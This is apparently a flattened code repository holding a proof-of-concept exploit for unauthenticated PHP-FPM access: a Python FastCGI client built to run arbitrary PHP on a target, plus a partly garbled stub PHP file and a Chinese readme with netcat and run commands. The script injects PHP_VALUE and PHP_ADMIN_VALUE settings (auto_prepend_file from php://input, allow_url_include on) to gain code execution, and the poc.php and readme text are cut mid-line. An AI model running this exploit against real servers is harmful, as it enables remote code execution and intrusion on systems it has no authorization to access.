├── .gitignore ├── fpm.py ├── poc.php ├── poc.png └── readme.md /.gitignore: -------------------------------------------------------------------------------- 1 | payload.txt 2 | -------------------------------------------------------------------------------- /fpm.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import random 3 | import argparse 4 | import sys 5 | from io import BytesIO 6 | 7 | # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client 8 | 9 | PY2 = True if sys.version_info.major == 2 else False 10 | 11 | 12 | def bchr(i): 13 | if PY2: 14 | return force_bytes(chr(i)) 15 | else: 16 | return bytes([i]) 17 | 18 | def bord(c): 19 | if isinstance(c, int): 20 | return c 21 | else: 22 | return ord(c) 23 | 24 | def force_bytes(s): 25 | if isinstance(s, bytes): 26 | return s 27 | else: 28 | return s.encode('utf-8', 'strict') 29 | 30 | def force_text(s): 31 | if issubclass(type(s), str): 32 | return s 33 | if isinstance(s, bytes): 34 | s = str(s, 'utf-8', 'strict') 35 | else: 36 | s = str(s) 37 | return s 38 | 39 | 40 | class FastCGIClient: 41 | """A Fast-CGI Client for Python""" 42 | 43 | # private 44 | __FCGI_VERSION = 1 45 | 46 | __FCGI_ROLE_RESPONDER = 1 47 | __FCGI_ROLE_AUTHORIZER = 2 48 | __FCGI_ROLE_FILTER = 3 49 | 50 | __FCGI_TYPE_BEGIN = 1 51 | __FCGI_TYPE_ABORT = 2 52 | __FCGI_TYPE_END = 3 53 | __FCGI_TYPE_PARAMS = 4 54 | __FCGI_TYPE_STDIN = 5 55 | __FCGI_TYPE_STDOUT = 6 56 | __FCGI_TYPE_STDERR = 7 57 | __FCGI_TYPE_DATA = 8 58 | __FCGI_TYPE_GETVALUES = 9 59 | __FCGI_TYPE_GETVALUES_RESULT = 10 60 | __FCGI_TYPE_UNKOWNTYPE = 11 61 | 62 | __FCGI_HEADER_SIZE = 8 63 | 64 | # request state 65 | FCGI_STATE_SEND = 1 66 | FCGI_STATE_ERROR = 2 67 | FCGI_STATE_SUCCESS = 3 68 | 69 | def __init__(self, host, port, timeout, keepalive): 70 | self.host = host 71 | self.port = port 72 | self.timeout = timeout 73 | if keepalive: 74 | self.keepalive = 1 75 | else: 76 | self.keepalive = 0 77 | self.sock = None 78 | self.requests = dict() 79 | 80 | def __connect(self): 81 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 82 | self.sock.settimeout(self.timeout) 83 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 84 | # if self.keepalive: 85 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1) 86 | # else: 87 | # self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0) 88 | try: 89 | self.sock.connect((self.host, int(self.port))) 90 | except socket.error as msg: 91 | self.sock.close() 92 | self.sock = None 93 | print(repr(msg)) 94 | return False 95 | return True 96 | 97 | def __encodeFastCGIRecord(self, fcgi_type, content, requestid): 98 | length = len(content) 99 | buf = bchr(FastCGIClient.__FCGI_VERSION) \ 100 | + bchr(fcgi_type) \ 101 | + bchr((requestid >> 8) & 0xFF) \ 102 | + bchr(requestid & 0xFF) \ 103 | + bchr((length >> 8) & 0xFF) \ 104 | + bchr(length & 0xFF) \ 105 | + bchr(0) \ 106 | + bchr(0) \ 107 | + content 108 | return buf 109 | 110 | def __encodeNameValueParams(self, name, value): 111 | nLen = len(name) 112 | vLen = len(value) 113 | record = b'' 114 | if nLen < 128: 115 | record += bchr(nLen) 116 | else: 117 | record += bchr((nLen >> 24) | 0x80) \ 118 | + bchr((nLen >> 16) & 0xFF) \ 119 | + bchr((nLen >> 8) & 0xFF) \ 120 | + bchr(nLen & 0xFF) 121 | if vLen < 128: 122 | record += bchr(vLen) 123 | else: 124 | record += bchr((vLen >> 24) | 0x80) \ 125 | + bchr((vLen >> 16) & 0xFF) \ 126 | + bchr((vLen >> 8) & 0xFF) \ 127 | + bchr(vLen & 0xFF) 128 | return record + name + value 129 | 130 | def __decodeFastCGIHeader(self, stream): 131 | header = dict() 132 | header['version'] = bord(stream[0]) 133 | header['type'] = bord(stream[1]) 134 | header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3]) 135 | header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5]) 136 | header['paddingLength'] = bord(stream[6]) 137 | header['reserved'] = bord(stream[7]) 138 | return header 139 | 140 | def __decodeFastCGIRecord(self, buffer): 141 | header = buffer.read(int(self.__FCGI_HEADER_SIZE)) 142 | 143 | if not header: 144 | return False 145 | else: 146 | record = self.__decodeFastCGIHeader(header) 147 | record['content'] = b'' 148 | 149 | if 'contentLength' in record.keys(): 150 | contentLength = int(record['contentLength']) 151 | record['content'] += buffer.read(contentLength) 152 | if 'paddingLength' in record.keys(): 153 | skiped = buffer.read(int(record['paddingLength'])) 154 | return record 155 | 156 | def request(self, nameValuePairs={}, post=''): 157 | if not self.__connect(): 158 | print('connect failure! please check your fasctcgi-server !!') 159 | return 160 | 161 | requestId = random.randint(1, (1 << 16) - 1) 162 | self.requests[requestId] = dict() 163 | request = b"" 164 | beginFCGIRecordContent = bchr(0) \ 165 | + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ 166 | + bchr(self.keepalive) \ 167 | + bchr(0) * 5 168 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, 169 | beginFCGIRecordContent, requestId) 170 | paramsRecord = b'' 171 | if nameValuePairs: 172 | for (name, value) in nameValuePairs.items(): 173 | name = force_bytes(name) 174 | value = force_bytes(value) 175 | paramsRecord += self.__encodeNameValueParams(name, value) 176 | 177 | if paramsRecord: 178 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) 179 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) 180 | 181 | if post: 182 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) 183 | request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) 184 | 185 | self.sock.send(request) 186 | self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND 187 | self.requests[requestId]['response'] = b'' 188 | return self.__waitForResponse(requestId) 189 | 190 | def __waitForResponse(self, requestId): 191 | data = b'' 192 | while True: 193 | buf = self.sock.recv(512) 194 | if not len(buf): 195 | break 196 | data += buf 197 | 198 | data = BytesIO(data) 199 | while True: 200 | response = self.__decodeFastCGIRecord(data) 201 | if not response: 202 | break 203 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \ 204 | or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 205 | if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR: 206 | self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR 207 | if requestId == int(response['requestId']): 208 | self.requests[requestId]['response'] += response['content'] 209 | if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS: 210 | self.requests[requestId] 211 | return self.requests[requestId]['response'] 212 | 213 | def __repr__(self): 214 | return "fastcgi connect host:{} port:{}".format(self.host, self.port) 215 | 216 | 217 | if __name__ == '__main__': 218 | parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.') 219 | parser.add_argument('host', help='Target host, such as 127.0.0.1') 220 | parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php') 221 | parser.add_argument('-c', '--code', help='What php code your want to execute', default='') 222 | parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int) 223 | 224 | args = parser.parse_args() 225 | 226 | client = FastCGIClient(args.host, args.port, 3, 0) 227 | params = dict() 228 | documentRoot = "/" 229 | uri = args.file 230 | content = args.code 231 | params = { 232 | 'GATEWAY_INTERFACE': 'FastCGI/1.0', 233 | 'REQUEST_METHOD': 'POST', 234 | 'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'), 235 | 'SCRIPT_NAME': uri, 236 | 'QUERY_STRING': '', 237 | 'REQUEST_URI': uri, 238 | 'DOCUMENT_ROOT': documentRoot, 239 | 'SERVER_SOFTWARE': 'php/fcgiclient', 240 | 'REMOTE_ADDR': '127.0.0.1', 241 | 'REMOTE_PORT': '9985', 242 | 'SERVER_ADDR': '127.0.0.1', 243 | 'SERVER_PORT': '80', 244 | 'SERVER_NAME': "localhost", 245 | 'SERVER_PROTOCOL': 'HTTP/1.1', 246 | 'CONTENT_TYPE': 'application/text', 247 | 'CONTENT_LENGTH': "%d" % len(content), 248 | 'PHP_VALUE': 'auto_prepend_file = php://input', 249 | 'PHP_ADMIN_VALUE': 'allow_url_include = On' 250 | } 251 | response = client.request(params, content) 252 | print(force_text(response)) -------------------------------------------------------------------------------- /poc.php: -------------------------------------------------------------------------------- 1 | " > /tmp/poc.php 15 | 16 | nc -lvp 6666 > payload.txt 17 | 18 | python fpm.py -c '' -p 6666 127.0.0.1 /tmp/poc.php 19 | ``` 20 | 21 | 运行`poc.php` 22 | 23 | ``` 24 | php poc.php 25 | ``` 26 | 27 | ![](poc.png) 28 | 29 | ## 参考 30 | 31 | fpm.py 来自 https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75 32 | 33 | [Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写](https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html) --------------------------------------------------------------------------------